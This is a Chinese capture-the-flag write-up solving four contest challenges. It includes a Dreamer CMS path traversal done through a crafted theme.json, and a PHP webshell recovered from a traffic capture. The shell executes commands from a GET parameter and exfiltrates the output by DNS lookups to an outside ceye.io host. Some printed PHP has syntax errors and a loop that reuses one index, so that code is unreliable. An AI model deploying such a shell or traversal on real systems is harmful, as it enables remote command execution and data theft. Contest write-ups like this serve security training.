第三届红明谷杯

  1. 点击签到
  2. Dreamer
  3. Dreamer_revenge
  4. hacker

点击签到


const encodedSecret= `uuuuuvvvvvvvvvvvvuuvvvvvvvvvvvvvuuuuvvvvvvvvvvvvvvvuuuuuuuuuuuuuuuuuuuuuuuuuuvvvuuuu 
uuuvvvuuvvvvvvvuvvvvuuuuuuuuuuuuuuuuuuuuuuuuuvvvvvuuuu 

uuvvvuuuuuuuuuuuuuvvvvuuuuuuuvvvvuuuuuuuvvvvuuuuuuuuuuuuuuuuuuuuuuuuuuuuvvvvvvuuuu 


uvvvvuuuuvvvvvvvuvvvvvvvvvvvvvvuuuuuuuuvvvvuuuuuuuuvvvvvvvvvvvuuuuuuvvvvvvvuuuu 



uvvvvuuuvvvvuvvvvuuuuuuuuuuvvvvuuuuuuuvuuuuuvvvuuvvvvuuuu 




uvvvvuuuuuuuvvvvuvvvvuuuuuuuuuuuuuuuuuuuvvvvuuuuuuuuuuuuuuuuuuuuuuvvvvvvvvvvvvvvvvu 





uvvvvuuuuuuuvvvvuvvvvuuuuuuuuuuuuuuuuuuuvvvvuuuuuuuuuuuuuuuuuuuuuvvvvuu 






uvvvvvvvvvvvvvuuvvvvuuuuuuuuuuuuuuuuuuuvvvvuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuvvvvuuuu 







uuvuuuuvuuuuuuuuuuuuuuuuuuuuvuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuvuuuuu 








uuuuuuuuuuuuuuuuuuuuuuuuuLFKMQKILLNKOIKHHHIHHWuuuuuuuuuuuuuuuuuuuuu`;

    function _0x3aef(_0x123456) {
        var _0xabcdef = '';
        for (var _0x10 = 0x0; _0x10 < _0x123456.length; _0x10++) {
            _0xabcdef += String.fromCharCode(_0x123456.charCodeAt(_0x10) ^ 0x2a);
        }
        return _0xabcdef;
    }

    function decrypt() {
        var encodedSecret = _0x4a12;
        return _0x3aef(encodedSecret);
    }

const decryptedSecret = _0x3aef(encodedSecret);
console.log(decryptedSecret);

根据代码写出解密脚本,运行一下就得到flag

image-20230419142137685

Dreamer

参考以下博客:

Dreamer CMS 代码审计

下载源码后修改src\main\resources\db\dreamer-cms\templates\default_v2目录下的theme.json文件,将其中的themePath值修改成../../../../../../../../../../../../../../

然后打包成zip在后台风格管理处上传并启用主题:

访问后台管理界面:
http://123.57.95.203:29912/admin/
管理员账户密码(在REMDME.md)中查看:
- 管理员:wangjn
- 管理员密码:123456

上传default_v2.zip

image-20230419143311467

点击启用

image-20230419143438367

在模板管理中找到flag

image-20230419143517688

Dreamer_revenge

题目源码没变,这次flag放到redis里了,访问/var/lib/redis找到flag

image-20230419144308871

hacker

通过对流量包的分析找到关键源码:

image-20230419181237850

urldecode一下再美化格式:

<?php 
$servername="127.0.0.1";
$username="root";
$password="123456";
$dbname="zentao";
$conn=new PDO("mysql:host=$servername;
dbname=$dbname",$username,$password);
$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
$stmt=$conn->prepare("SELECT password FROM zt_user WHERE account=\'admin\'");
$stmt->execute();
$result=$stmt->fetch(PDO::FETCH_ASSOC);
$conn=null;
$param=$_GET["cmd"];
$password=$result["password"];
$output=shell_exec($param);
$hex_output=bin2hex($output);
$hex_password=bin2hex($password);
$len_output=strlen($hex_output);
$len_password=strlen($hex_password);
$max_subdomain_length=62;
$subdomain_base="yafgcy.ceye.io";
$hex_xor="";
for($i=0;$i<$len_output;$i++){
    $char_output=$hex_output[$i];
    $char_password=$hex_password[$i%$len_password];
    $char_xor=dechex(hexdec($char_output)^hexdec($char_password));
    if(strlen($hex_xor.$char_xor)>$max_subdomain_length)			{
        if(strlen($hex_xor)%2!=0{
            $subdomain="0"."$hex_xor.$subdomain_base";
        }else{
            $subdomain="$hex_xor.$subdomain_base";
        }
        gethostbyname($subdomain);
        $hex_xor="";
    }
    else{
        $hex_xor.=$char_xor;
    }
}
    if(strlen($hex_xor)%2!=0{
        $subdomain="0"."$hex_xor.$subdomain_base";
    }else{
        $subdomain="$hex_xor.$subdomain_base";
    }
    gethostbyname($subdomain);
?>

通过分析,$output中存放着flag,$password的值为admin的密码。可以在流量中找到

image-20230419183059974

通过对两个字符串的操作,得到一个新的字符串,新的字符串可以在DNS中找到

image-20230419183413046

yafgcy.ceye.io前面的内容就是新的字符串

这里注意

if(strlen($hex_xor.$char_xor)>$max_subdomain_length){
        if(strlen($hex_xor)%2!=0{
            $subdomain="0"."$hex_xor.$subdomain_base";
        }else{
            $subdomain="$hex_xor.$subdomain_base";
        }
        gethostbyname($subdomain);
        $hex_xor="";
    }

如果长度大于62的话,$char_xor会丢掉一个字符,然后输出,所以我们获得的四段字符串中间缺少了3个字符,另外如果长度为奇数会多补一个0,需要把第四段获得的字符串前面的0去掉,再爆破剩下的3个字符就可以了。

<?php
function MIMA($subdomain){
    $password = '8a3e684c923b763d252cf1e8734a7a29';
    $output = '';
    $len_hex_substring = strlen($subdomain);
    for ($i = 0; $i < $len_hex_substring; $i += 2) {
        $char_hex = substr($subdomain, $i, 2);
        $char_password = $password[$i / 2 % strlen($password)];
        $output .= chr(hexdec($char_hex) ^ ord($char_password));
    }
    return $output;
}
$string1 = '79227024716c7522787370254c777230667673222570247b76677322632671';
$string2 = 'd7b357226771575227a7372237677702573611f372570317b7672772076206';
$string3 = '1479207024777b60247e6674231a626727666171372570317f766773207620';
$string4 = '67879226731756c60206d75703670754e';
$jiemi = '0123456789abcdef';
for ($k=0;$k<strlen($jiemi);$k++){
    for ($j=0;$j<strlen($jiemi);$j++){
        for ($l=0;$l<strlen($jiemi);$l++){
            $math = $string1.$jiemi[$k].$string2.$jiemi[$k].$string3.$jiemi[$k].$string4;
            echo MIMA($math).PHP_EOL;
        }
    }
}

?>

脚本运行后我们获得了大量的类似于flag的字符串,因为flag固定格式是flag{},所以ACCAGTAAAACG代表flag,观察发现只有ACGT四个字符组成,三个字符对应着另一个字符,且发现AAA对应小写字母a,可猜测字典为a-zA-Z0-9。于是从众多字符串中筛选出只含ACGT及其他非字母字符的字符串,再对应解密获取flag

image-20230419185242520

完整脚本为:

<?php
function MIMA($subdomain){
    $password = '8a3e684c923b763d252cf1e8734a7a29';
    $output = '';
    $len_hex_substring = strlen($subdomain);
    for ($i = 0; $i < $len_hex_substring; $i += 2) {
        $char_hex = substr($subdomain, $i, 2);
        $char_password = $password[$i / 2 % strlen($password)];
        $output .= chr(hexdec($char_hex) ^ ord($char_password));
    }
    return $output;
}
$string1 = '79227024716c7522787370254c777230667673222570247b76677322632671';
$string2 = 'd7b357226771575227a7372237677702573611f372570317b7672772076206';
$string3 = '1479207024777b60247e6674231a626727666171372570317f766773207620';
$string4 = '67879226731756c60206d75703670754e';
$jiemi = '0123456789abcdef';
$allowed_chars="/^[ACGT\-\{\}]+$/";
for ($k=0;$k<strlen($jiemi);$k++){
    for ($j=0;$j<strlen($jiemi);$j++){
        for ($l=0;$l<strlen($jiemi);$l++){
            $math = $string1.$jiemi[$k].$string2.$jiemi[$k].$string3.$jiemi[$k].$string4;
            if (preg_match($allowed_chars, MIMA($math))) {
                echo MIMA($math);exit(0);
            }
        }
    }
}
ACCAGTAAAACG{AATTCAACAACATGCTGCTCTACA-AACAAAAACAAT-TCATCAACAAAT-AACAACTGGTGA-TTCTTCTCATGATGAAATAACTTCTTCTGCTGC}
import string
zidian=string.ascii_lowercase+string.ascii_uppercase+string.digits
dicty={"A":"0","C":"1","G":"2","T":"3","{":"{","}":"}","-":"-"}
d=['{','}','-']
flag_encode=list("ACCAGTAAAACG{AATTCAACAACATGCTGCTCTACA-AACAAAAACAAT-TCATCAACAAAT-AACAACTGGTGA-TTCTTCTCATGATGAAATAACTTCTTCTGCTGC}")
flag_decode=""
for i in range(len(flag_encode)):
    flag_encode[i]=dicty[flag_encode[i]]
i=0
while i<len(flag_encode):
    if flag_encode[i] in d:
        flag_decode += flag_encode[i]
        if i+1 >= len(flag_encode):
            break
        sum=int(flag_encode[i+1])*16+int(flag_encode[i+2])*4+int(flag_encode[i+3])
        i+=4
    else:
        sum=int(flag_encode[i])*16+int(flag_encode[i+1])*4+int(flag_encode[i+2])
        i+=3
    flag_decode+=zidian[sum]

print(flag_decode)
flag{d0ee553e-babd-00ed-bb64-99044db9955}

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com